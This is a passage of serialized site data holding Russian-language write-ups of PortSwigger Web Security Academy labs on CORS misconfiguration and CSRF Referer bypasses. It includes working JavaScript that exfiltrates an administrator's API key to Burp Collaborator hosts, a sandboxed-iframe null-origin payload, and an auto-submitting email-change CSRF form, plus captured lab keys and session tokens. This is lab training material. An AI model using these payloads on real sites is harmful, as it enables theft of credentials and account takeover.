req.withCredentials = true;\n  req.send();\n\n  function reqListener() {\n    location='\u002F\u002Flg5dqhqluws9msxsk2x6fc9lkcq3eu2j.oastify.com\u002Flog?key='+this.responseText;\n  };\n\u003C\u002Fscript>\n",[48,14596,14597,14605,14620,14629,14651,14662,14670,14674,14683,14699,14704],{"__ignoreMap":50},[308,14598,14599,14601,14603],{"class":310,"line":311},[308,14600,2056],{"class":911},[308,14602,2124],{"class":2059},[308,14604,2077],{"class":911},[308,14606,14607,14610,14612,14614,14616,14618],{"class":310,"line":98},[308,14608,14609],{"class":1619},"  var",[308,14611,14477],{"class":911},[308,14613,2066],{"class":1619},[308,14615,1650],{"class":1619},[308,14617,14484],{"class":667},[308,14619,14487],{"class":911},[308,14621,14622,14625,14627],{"class":310,"line":104},[308,14623,14624],{"class":911},"  req.onload ",[308,14626,2066],{"class":1619},[308,14628,14497],{"class":911},[308,14630,14631,14634,14636,14638,14640,14642,14645,14647,14649],{"class":310,"line":1327},[308,14632,14633],{"class":911},"  req.",[308,14635,14505],{"class":667},[308,14637,917],{"class":911},[308,14639,14510],{"class":671},[308,14641,14513],{"class":911},[308,14643,14644],{"class":671},"'https:\u002F\u002F0a0d00db04ed6de980ea0321007000d2.web-security-academy.net\u002FaccountDetails'",[308,14646,14513],{"class":911},[308,14648,14521],{"class":678},[308,14650,1711],{"class":911},[308,14652,14653,14656,14658,14660],{"class":310,"line":1336},[308,14654,14655],{"class":911},"  req.withCredentials ",[308,14657,2066],{"class":1619},[308,14659,14533],{"class":678},[308,14661,1631],{"class":911},[308,14663,14664,14666,14668],{"class":310,"line":1349},[308,14665,14633],{"class":911},[308,14667,6979],{"class":667},[308,14669,14487],{"class":911},[308,14671,14672],{"class":310,"line":1360},[308,14673,1636],{"emptyLinePlaceholder":112},[308,14675,14676,14679,14681],{"class":310,"line":1366},[308,14677,14678],{"class":1619},"  function",[308,14680,14555],{"class":667},[308,14682,14558],{"class":911},[308,14684,14685,14688,14690,14693,14695,14697],{"class":310,"line":1452},[308,14686,14687],{"class":911},"    location",[308,14689,2066],{"class":1619},[308,14691,14692],{"class":671},"'\u002F\u002Flg5dqhqluws9msxsk2x6fc9lkcq3eu2j.oastify.com\u002Flog?key='",[308,14694,11451],{"class":1619},[308,14696,14573],{"class":678},[308,14698,14576],{"class":911},[308,14700,14701],{"class":310,"line":1465},[308,14702,14703],{"class":911},"  };\n",[308,14705,14706,14708,14710],{"class":310,"line":1478},[308,14707,11372],{"class":911},[308,14709,2124],{"class":2059},[308,14711,2077],{"class":911},[21,14713,14714],{},"Отлично, прилетает запрос, декодируем ответ:",[41,14716,14718],{"className":1289,"code":14717,"language":1291,"meta":50,"style":50},"{ \"username\": \"administrator\", \"email\": \"\", \"apikey\": \"jzf1QJXYkPxziewNiNtqMjZQY3tZGm8l\", \"sessions\": [\"kO1D55tBNiHVngwAxcDKzleadUQWgwqT\"] }\n",[48,14719,14720],{"__ignoreMap":50},[308,14721,14722,14725,14728,14730,14733,14735,14738,14740,14743,14745,14748,14750,14753,14755,14758,14760,14763],{"class":310,"line":311},[308,14723,14724],{"class":911},"{ ",[308,14726,14727],{"class":678},"\"username\"",[308,14729,1306],{"class":911},[308,14731,14732],{"class":671},"\"administrator\"",[308,14734,973],{"class":911},[308,14736,14737],{"class":678},"\"email\"",[308,14739,1306],{"class":911},[308,14741,14742],{"class":671},"\"\"",[308,14744,973],{"class":911},[308,14746,14747],{"class":678},"\"apikey\"",[308,14749,1306],{"class":911},[308,14751,14752],{"class":671},"\"jzf1QJXYkPxziewNiNtqMjZQY3tZGm8l\"",[308,14754,973],{"class":911},[308,14756,14757],{"class":678},"\"sessions\"",[308,14759,1549],{"class":911},[308,14761,14762],{"class":671},"\"kO1D55tBNiHVngwAxcDKzleadUQWgwqT\"",[308,14764,14765],{"class":911},"] }\n",[21,14767,12197],{},[357,14769,14770],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":50,"searchDepth":98,"depth":98,"links":14772},[14773,14774],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":14775},[14776,14777,14778,14779],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},{"id":14459,"depth":104,"text":14460},"2026-05-13","Эксфильтрация API-ключа администратора через CORS — сервер рефлексирует `Origin` в `Access-Control-Allow-Origin`, `XMLHttpRequest` с `withCredentials` уносит ответ на Burp Collaborator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcors-basic-origin-reflection",{"title":14400,"description":14781},"notes\u002Fpentesting\u002Fportswigger\u002Fcors-basic-origin-reflection",[117,14787,121],"cors","gHNrrPE---rGm_svfW4nbMCxM4dXn9DPyb_jCw90p1E",{"id":14790,"title":14791,"author":6,"body":14792,"date":14780,"description":15061,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":15062,"navigation":112,"notes":110,"path":15063,"psTitle":14806,"seo":15064,"stem":15065,"tags":15066,"timeSpent":10291,"type":123,"__hash__":15067},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcors-trusted-null-origin.md","CORS с доверенным null origin (PortSwigger Lab)",{"type":8,"value":14793,"toc":15053},[14794,14798,14800,14807,14809,14811,14817,14819,14832,14835,14922,14925,14927,15004,15007,15050],[11,14795,14797],{"id":14796},"cors-с-доверенным-null-origin","CORS с доверенным null origin",[16,14799,19],{"id":18},[21,14801,14802,30],{},[24,14803,14806],{"href":14804,"rel":14805},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcors\u002Flab-null-origin-whitelisted-attack",[28],"CORS vulnerability with trusted null origin",[16,14808,34],{"id":33},[36,14810,39],{"id":38},[41,14812,14815],{"className":14813,"code":14814,"language":46},[44],"This website has an insecure CORS configuration in that it trusts the \"null\" origin.\n\nTo solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,14816,14814],{"__ignoreMap":50},[36,14818,10324],{"id":10323},[21,14820,14821,14822,14825,14826,14829,14830,426],{},"Фактически лаба аналогична предыдущей — ",[14823,14824,14415],"em",{},". Только на этот раз нужно передать ",[48,14827,14828],{},"null"," в качестве ",[48,14831,14433],{},[21,14833,14834],{},"PortSwigger на этот случай предлагает нагрузку:",[41,14836,14838],{"className":2047,"code":14837,"language":2049,"meta":50,"style":50},"\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\" src=\"data:text\u002Fhtml,\u003Cscript>\nvar req = new XMLHttpRequest();\nreq.onload = reqListener;\nreq.open('get','vulnerable-website.com\u002Fsensitive-victim-data',true);\nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n  location='malicious-website.com\u002Flog?key='+this.responseText;\n};\n\u003C\u002Fscript>\">\u003C\u002Fiframe>\n",[48,14839,14840,14866,14871,14876,14881,14886,14891,14895,14900,14905,14909],{"__ignoreMap":50},[308,14841,14842,14844,14846,14849,14851,14854,14856,14858,14861,14863],{"class":310,"line":311},[308,14843,2056],{"class":911},[308,14845,2060],{"class":2059},[308,14847,14848],{"class":667}," sandbox",[308,14850,2066],{"class":911},[308,14852,14853],{"class":671},"\"allow-scripts allow-top-navigation allow-forms\"",[308,14855,2063],{"class":667},[308,14857,2066],{"class":911},[308,14859,14860],{"class":671},"\"data:text\u002Fhtml,",[308,14862,2056],{"class":11348},[308,14864,14865],{"class":671},"script>\n",[308,14867,14868],{"class":310,"line":98},[308,14869,14870],{"class":671},"var req = new XMLHttpRequest();\n",[308,14872,14873],{"class":310,"line":104},[308,14874,14875],{"class":671},"req.onload = reqListener;\n",[308,14877,14878],{"class":310,"line":1327},[308,14879,14880],{"class":671},"req.open('get','vulnerable-website.com\u002Fsensitive-victim-data',true);\n",[308,14882,14883],{"class":310,"line":1336},[308,14884,14885],{"class":671},"req.withCredentials = true;\n",[308,14887,14888],{"class":310,"line":1349},[308,14889,14890],{"class":671},"req.send();\n",[308,14892,14893],{"class":310,"line":1360},[308,14894,1636],{"emptyLinePlaceholder":112},[308,14896,14897],{"class":310,"line":1366},[308,14898,14899],{"class":671},"function reqListener() {\n",[308,14901,14902],{"class":310,"line":1452},[308,14903,14904],{"class":671},"  location='malicious-website.com\u002Flog?key='+this.responseText;\n",[308,14906,14907],{"class":310,"line":1465},[308,14908,14581],{"class":671},[308,14910,14911,14913,14916,14918,14920],{"class":310,"line":1478},[308,14912,2056],{"class":11348},[308,14914,14915],{"class":671},"\u002Fscript>\"",[308,14917,2072],{"class":911},[308,14919,2060],{"class":2059},[308,14921,2077],{"class":911},[21,14923,14924],{},"Добавим URL сервера лабы. Добавим адрес Burp Collaborator.",[36,14926,9936],{"id":9935},[41,14928,14930],{"className":2047,"code":14929,"language":2049,"meta":50,"style":50},"\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\" src=\"data:text\u002Fhtml,\u003Cscript>\nvar req = new XMLHttpRequest();\nreq.onload = reqListener;\nreq.open('get','https:\u002F\u002F0a0a00ea035af99f80fe030b0009004f.web-security-academy.net\u002FaccountDetails',true);\nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n  location='https:\u002F\u002Flynd8h8lcwa94sfs22f6xcrl2c83wvkk.oastify.com\u002Flog?key='+this.responseText;\n};\n\u003C\u002Fscript>\">\u003C\u002Fiframe>\n",[48,14931,14932,14954,14958,14962,14967,14971,14975,14979,14983,14988,14992],{"__ignoreMap":50},[308,14933,14934,14936,14938,14940,14942,14944,14946,14948,14950,14952],{"class":310,"line":311},[308,14935,2056],{"class":911},[308,14937,2060],{"class":2059},[308,14939,14848],{"class":667},[308,14941,2066],{"class":911},[308,14943,14853],{"class":671},[308,14945,2063],{"class":667},[308,14947,2066],{"class":911},[308,14949,14860],{"class":671},[308,14951,2056],{"class":11348},[308,14953,14865],{"class":671},[308,14955,14956],{"class":310,"line":98},[308,14957,14870],{"class":671},[308,14959,14960],{"class":310,"line":104},[308,14961,14875],{"class":671},[308,14963,14964],{"class":310,"line":1327},[308,14965,14966],{"class":671},"req.open('get','https:\u002F\u002F0a0a00ea035af99f80fe030b0009004f.web-security-academy.net\u002FaccountDetails',true);\n",[308,14968,14969],{"class":310,"line":1336},[308,14970,14885],{"class":671},[308,14972,14973],{"class":310,"line":1349},[308,14974,14890],{"class":671},[308,14976,14977],{"class":310,"line":1360},[308,14978,1636],{"emptyLinePlaceholder":112},[308,14980,14981],{"class":310,"line":1366},[308,14982,14899],{"class":671},[308,14984,14985],{"class":310,"line":1452},[308,14986,14987],{"class":671},"  location='https:\u002F\u002Flynd8h8lcwa94sfs22f6xcrl2c83wvkk.oastify.com\u002Flog?key='+this.responseText;\n",[308,14989,14990],{"class":310,"line":1465},[308,14991,14581],{"class":671},[308,14993,14994,14996,14998,15000,15002],{"class":310,"line":1478},[308,14995,2056],{"class":11348},[308,14997,14915],{"class":671},[308,14999,2072],{"class":911},[308,15001,2060],{"class":2059},[308,15003,2077],{"class":911},[21,15005,15006],{},"Прилетело в Burp Collaborator:",[41,15008,15010],{"className":1289,"code":15009,"language":1291,"meta":50,"style":50},"{ \"username\": \"administrator\", \"email\": \"\", \"apikey\": \"JWG2ozE8VQh0xNGRHFkUNn4hbZV0G8O1\", \"sessions\": [\"G9Hisz1V4jr5bLxv7lCRqtHHBoyB1BeO\"] }\n",[48,15011,15012],{"__ignoreMap":50},[308,15013,15014,15016,15018,15020,15022,15024,15026,15028,15030,15032,15034,15036,15039,15041,15043,15045,15048],{"class":310,"line":311},[308,15015,14724],{"class":911},[308,15017,14727],{"class":678},[308,15019,1306],{"class":911},[308,15021,14732],{"class":671},[308,15023,973],{"class":911},[308,15025,14737],{"class":678},[308,15027,1306],{"class":911},[308,15029,14742],{"class":671},[308,15031,973],{"class":911},[308,15033,14747],{"class":678},[308,15035,1306],{"class":911},[308,15037,15038],{"class":671},"\"JWG2ozE8VQh0xNGRHFkUNn4hbZV0G8O1\"",[308,15040,973],{"class":911},[308,15042,14757],{"class":678},[308,15044,1549],{"class":911},[308,15046,15047],{"class":671},"\"G9Hisz1V4jr5bLxv7lCRqtHHBoyB1BeO\"",[308,15049,14765],{"class":911},[357,15051,15052],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":50,"searchDepth":98,"depth":98,"links":15054},[15055,15056],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":15057},[15058,15059,15060],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":9935,"depth":104,"text":9936},"Эксфильтрация API-ключа администратора через CORS с доверенным `null` origin — sandboxed iframe c `data:` URL даёт нужный Origin.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcors-trusted-null-origin",{"title":14791,"description":15061},"notes\u002Fpentesting\u002Fportswigger\u002Fcors-trusted-null-origin",[117,14787,121],"Fvo6p1KncpN1bBU_SG2Cm68WMChHMw-ahw9BoNPnxcM",{"id":15069,"title":15070,"author":6,"body":15071,"date":14780,"description":15393,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":15394,"navigation":112,"notes":110,"path":15395,"psTitle":15085,"seo":15396,"stem":15397,"tags":15398,"timeSpent":10291,"type":123,"__hash__":15401},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-referer-validation-depends-on-header-being-present.md","CSRF, где валидация Referer зависит от наличия заголовка (PortSwigger Lab)",{"type":8,"value":15072,"toc":15384},[15073,15077,15079,15086,15088,15090,15096,15098,15104,15106,15109,15115,15120,15126,15136,15142,15155,15158,15187,15191,15197,15379,15381],[11,15074,15076],{"id":15075},"csrf-где-валидация-referer-зависит-от-наличия-заголовка","CSRF, где валидация Referer зависит от наличия заголовка",[16,15078,19],{"id":18},[21,15080,15081,144],{},[24,15082,15085],{"href":15083,"rel":15084},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-referer-based-defenses\u002Flab-referer-validation-depends-on-header-being-present",[28],"CSRF where Referer validation depends on header being present",[16,15087,34],{"id":33},[36,15089,39],{"id":38},[41,15091,15094],{"className":15092,"code":15093,"language":46},[44],"This lab's email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.\n\nTo solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,15095,15093],{"__ignoreMap":50},[36,15097,10324],{"id":10323},[21,15099,15100,15101,15103],{},"Необходимо сменить email пользователя через эксплуатацию CSRF-уязвимости. Способ доставки — через эксплоит-сервер. Лаба имеет защиту от CSRF, но и некоторый уязвимый fallback. Заголовок лабы говорит, что валидация ",[48,15102,2230],{}," зависит от наличия этого заголовка.",[36,15105,683],{"id":682},[21,15107,15108],{},"Посмотрим, как устроена функция смены email:",[41,15110,15113],{"className":15111,"code":15112,"language":46},[44],"POST \u002Fmy-account\u002Fchange-email\n",[48,15114,15112],{"__ignoreMap":50},[21,15116,15117,15118,215],{},"В запросе присутствует ",[48,15119,2230],{},[41,15121,15124],{"className":15122,"code":15123,"language":46},[44],"Referer: https:\u002F\u002F0af900b5045d743e805344a6006d0040.web-security-academy.net\u002Fmy-account?id=wiener\n",[48,15125,15123],{"__ignoreMap":50},[21,15127,15128,15129,15132,15133,426],{},"Отправим запрос в Repeater, поменяем email, установим ",[48,15130,15131],{},"Referer: https:\u002F\u002Fya",". Ответ — ",[48,15134,15135],{},"400 Invalid referer header",[21,15137,15138,15139,15141],{},"Окей, попробуем вообще убрать ",[48,15140,2230],{},". Работает!",[21,15143,15144,15145,15147,15148,15151,15152,15154],{},"Осталось вспомнить, как можно выпилить ",[48,15146,2230],{}," из запроса. Помню, точно был какой-то заголовок типа ",[48,15149,15150],{},"*_no_referer",". Сабмит формы, наверное, не подойдёт? Или там можно настроить поведение передачи ",[48,15153,2230],{},"? Ок, пойду полистаю доку PortSwigger.",[21,15156,15157],{},"Предложили такой вариант:",[41,15159,15161],{"className":2047,"code":15160,"language":2049,"meta":50,"style":50},"\u003Cmeta name=\"referrer\" content=\"never\">\n",[48,15162,15163],{"__ignoreMap":50},[308,15164,15165,15167,15170,15172,15174,15177,15180,15182,15185],{"class":310,"line":311},[308,15166,2056],{"class":911},[308,15168,15169],{"class":2059},"meta",[308,15171,13421],{"class":667},[308,15173,2066],{"class":911},[308,15175,15176],{"class":671},"\"referrer\"",[308,15178,15179],{"class":667}," content",[308,15181,2066],{"class":911},[308,15183,15184],{"class":671},"\"never\"",[308,15186,2077],{"class":911},[36,15188,15190],{"id":15189},"реализация-эксплоита","Реализация эксплоита",[21,15192,15193,15194,15196],{},"Первым делом отключим передачу ",[48,15195,2230],{},". Достанем форму смены email со страницы лабы, впишем свой email, добавим полный URL до сервера и сделаем сабмит формы.",[41,15198,15200],{"className":2047,"code":15199,"language":2049,"meta":50,"style":50},"\u003Cmeta name=\"referrer\" content=\"never\">\n\u003Cform class=\"login-form\" name=\"change-email-form\"\n      action=\"https:\u002F\u002F0af900b5045d743e805344a6006d0040.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n  \u003Clabel>Email\u003C\u002Flabel>\n  \u003Cinput required type=\"email\" name=\"email\" value=\"hhh@p.com\">\n  \u003Cbutton class=\"button\" type=\"submit\">Update email\u003C\u002Fbutton>\n\u003C\u002Fform>\n\n\u003Cscript>\n  document.forms[0].submit()\n\u003C\u002Fscript>\n",[48,15201,15202,15222,15243,15263,15278,15307,15335,15343,15347,15355,15371],{"__ignoreMap":50},[308,15203,15204,15206,15208,15210,15212,15214,15216,15218,15220],{"class":310,"line":311},[308,15205,2056],{"class":911},[308,15207,15169],{"class":2059},[308,15209,13421],{"class":667},[308,15211,2066],{"class":911},[308,15213,15176],{"class":671},[308,15215,15179],{"class":667},[308,15217,2066],{"class":911},[308,15219,15184],{"class":671},[308,15221,2077],{"class":911},[308,15223,15224,15226,15229,15231,15233,15236,15238,15240],{"class":310,"line":98},[308,15225,2056],{"class":911},[308,15227,15228],{"class":2059},"form",[308,15230,11282],{"class":667},[308,15232,2066],{"class":911},[308,15234,15235],{"class":671},"\"login-form\"",[308,15237,13421],{"class":667},[308,15239,2066],{"class":911},[308,15241,15242],{"class":671},"\"change-email-form\"\n",[308,15244,15245,15248,15250,15253,15256,15258,15261],{"class":310,"line":104},[308,15246,15247],{"class":667},"      action",[308,15249,2066],{"class":911},[308,15251,15252],{"class":671},"\"https:\u002F\u002F0af900b5045d743e805344a6006d0040.web-security-academy.net\u002Fmy-account\u002Fchange-email\"",[308,15254,15255],{"class":667}," method",[308,15257,2066],{"class":911},[308,15259,15260],{"class":671},"\"POST\"",[308,15262,2077],{"class":911},[308,15264,15265,15268,15271,15274,15276],{"class":310,"line":1327},[308,15266,15267],{"class":911},"  \u003C",[308,15269,15270],{"class":2059},"label",[308,15272,15273],{"class":911},">Email\u003C\u002F",[308,15275,15270],{"class":2059},[308,15277,2077],{"class":911},[308,15279,15280,15282,15284,15286,15288,15290,15292,15294,15296,15298,15300,15302,15305],{"class":310,"line":1336},[308,15281,15267],{"class":911},[308,15283,13408],{"class":2059},[308,15285,13411],{"class":667},[308,15287,13414],{"class":667},[308,15289,2066],{"class":911},[308,15291,14737],{"class":671},[308,15293,13421],{"class":667},[308,15295,2066],{"class":911},[308,15297,14737],{"class":671},[308,15299,13428],{"class":667},[308,15301,2066],{"class":911},[308,15303,15304],{"class":671},"\"hhh@p.com\"",[308,15306,2077],{"class":911},[308,15308,15309,15311,15314,15316,15318,15321,15323,15325,15328,15331,15333],{"class":310,"line":1349},[308,15310,15267],{"class":911},[308,15312,15313],{"class":2059},"button",[308,15315,11282],{"class":667},[308,15317,2066],{"class":911},[308,15319,15320],{"class":671},"\"button\"",[308,15322,13414],{"class":667},[308,15324,2066],{"class":911},[308,15326,15327],{"class":671},"\"submit\"",[308,15329,15330],{"class":911},">Update email\u003C\u002F",[308,15332,15313],{"class":2059},[308,15334,2077],{"class":911},[308,15336,15337,15339,15341],{"class":310,"line":1360},[308,15338,11372],{"class":911},[308,15340,15228],{"class":2059},[308,15342,2077],{"class":911},[308,15344,15345],{"class":310,"line":1366},[308,15346,1636],{"emptyLinePlaceholder":112},[308,15348,15349,15351,15353],{"class":310,"line":1452},[308,15350,2056],{"class":911},[308,15352,2124],{"class":2059},[308,15354,2077],{"class":911},[308,15356,15357,15360,15362,15365,15368],{"class":310,"line":1465},[308,15358,15359],{"class":911},"  document.forms[",[308,15361,13892],{"class":678},[308,15363,15364],{"class":911},"].",[308,15366,15367],{"class":667},"submit",[308,15369,15370],{"class":911},"()\n",[308,15372,15373,15375,15377],{"class":310,"line":1478},[308,15374,11372],{"class":911},[308,15376,2124],{"class":2059},[308,15378,2077],{"class":911},[21,15380,12197],{},[357,15382,15383],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":50,"searchDepth":98,"depth":98,"links":15385},[15386,15387],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":15388},[15389,15390,15391,15392],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},{"id":15189,"depth":104,"text":15190},"Обход проверки Referer в лабе через `\u003Cmeta name=\"referrer\" content=\"never\">` и автосабмит формы смены email.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-referer-validation-depends-on-header-being-present",{"title":15070,"description":15393},"notes\u002Fpentesting\u002Fportswigger\u002Fcsrf-referer-validation-depends-on-header-being-present",[117,15399,15400,121],"csrf","referer","UbfmcRhH37o6FuHFc_xoy5LxDs39WWvpucefCWT_wBo",{"id":15403,"title":15404,"author":6,"body":15405,"date":14780,"description":15724,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":15725,"navigation":112,"notes":110,"path":15726,"psTitle":15419,"seo":15727,"stem":15728,"tags":15729,"timeSpent":14179,"type":123,"__hash__":15730},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-with-broken-referer-validation.md","CSRF со сломанной валидацией Referer (PortSwigger Lab)",{"type":8,"value":15406,"toc":15714},[15407,15411,15413,15420,15422,15424,15430,15432,15438,15442,15447,15458,15464,15474,15477,15479,15486,15492,15497,15503,15508,15514,15520,15526,15532,15534,15547,15557,15700,15703,15709,15711],[11,15408,15410],{"id":15409},"csrf-со-сломанной-валидацией-referer","CSRF со сломанной валидацией Referer",[16,15412,19],{"id":18},[21,15414,15415,144],{},[24,15416,15419],{"href":15417,"rel":15418},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-referer-based-defenses\u002Flab-referer-validation-broken",[28],"CSRF with broken Referer validation",[16,15421,34],{"id":33},[36,15423,39],{"id":38},[41,15425,15428],{"className":15426,"code":15427,"language":46},[44],"This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.\n\nTo solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,15429,15427],{"__ignoreMap":50},[36,15431,10324],{"id":10323},[21,15433,15434,15435,15437],{},"Нужно поменять почту пользователя через эксплуатацию CSRF-уязвимости. Реализована защита на основе анализа ",[48,15436,2230],{},", необходимо её обойти.",[36,15439,15441],{"id":15440},"полезная-теория-от-portswigger","Полезная теория от PortSwigger",[21,15443,15444,15445,215],{},"Варианты «наивной» защиты на основе ",[48,15446,2230],{},[330,15448,15449,15452],{},[333,15450,15451],{},"Проверяют только начало URL на наличие значений.",[333,15453,15454,15455,15457],{},"Просто проверяют ",[48,15456,2230],{}," — есть ли в нём домен сайта.",[21,15459,15460,15461,426],{},"Первый вариант обходится через создание поддомена с именем целевого сайта на своём сервере. Второй — через включение домена в URL в любом месте, например, в query string: ",[48,15462,15463],{},"http:\u002F\u002Fattacker.com\u002F?vul-site.com",[21,15465,15466,15467,15470,15471,15473],{},"Однако второй метод не сработает без ",[48,15468,15469],{},"Referrer-Policy: unsafe-url",", поскольку браузеры сейчас имеют дефолтные политики по обрезанию ",[48,15472,2230],{}," (убирают query string).",[21,15475,15476],{},"Думаю, для этой лабы как раз будет вариант 2 — что-то мне подсказывает, что с поддоменом PortSwigger не стал заморачиваться, но посмотрим.",[36,15478,683],{"id":682},[21,15480,15481,15482,15485],{},"Уже знакомый нам роут — ",[48,15483,15484],{},"POST \u002Fmy-account\u002Fchange-email",". Отправляется:",[41,15487,15490],{"className":15488,"code":15489,"language":46},[44],"Referer: https:\u002F\u002F0acd006e047305c382a4a606007d003c.web-security-academy.net\u002Fmy-account?id=wiener\n",[48,15491,15489],{"__ignoreMap":50},[21,15493,15494,15495,215],{},"Ок, отправляем запрос в Repeater и ставим ",[48,15496,2230],{},[41,15498,15501],{"className":15499,"code":15500,"language":46},[44],"Referer: https:\u002F\u002Fexploit-0ab2006104810534824ba5f0018200df.exploit-server.net\u002Fexploit\n",[48,15502,15500],{"__ignoreMap":50},[21,15504,15505,15506,426],{},"Ответ — ",[48,15507,15135],{},[21,15509,15510,15511,15513],{},"Давай просто добавим Host в наш ",[48,15512,2230],{}," в query string:",[41,15515,15518],{"className":15516,"code":15517,"language":46},[44],"?0acd006e047305c382a4a606007d003c.web-security-academy.net\n",[48,15519,15517],{"__ignoreMap":50},[41,15521,15524],{"className":15522,"code":15523,"language":46},[44],"Referer: 